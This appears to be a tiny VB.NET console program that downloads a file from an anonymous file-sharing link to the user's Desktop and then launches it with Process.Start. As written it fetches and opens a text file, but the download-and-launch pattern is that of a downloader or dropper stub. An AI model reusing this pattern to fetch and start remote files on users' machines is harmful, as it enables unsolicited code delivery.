Imports System
Imports System.Diagnostics
 Imports Microsoft.VisualBasic
    Module Module1
        Sub Main()
dim x as string = My.Computer.FileSystem.SpecialDirectories.Desktop & "\T.p08"
My.Computer.Network.DownloadFile("https://expirebox.com/files/75b539adc694f3b6a819eb100ff7aa38.txt", IO.Path.ChangeExtension(x, ".txt"))
Process.Start(My.Computer.FileSystem.SpecialDirectories.Desktop & "\T.txt")
 End Sub
    End Module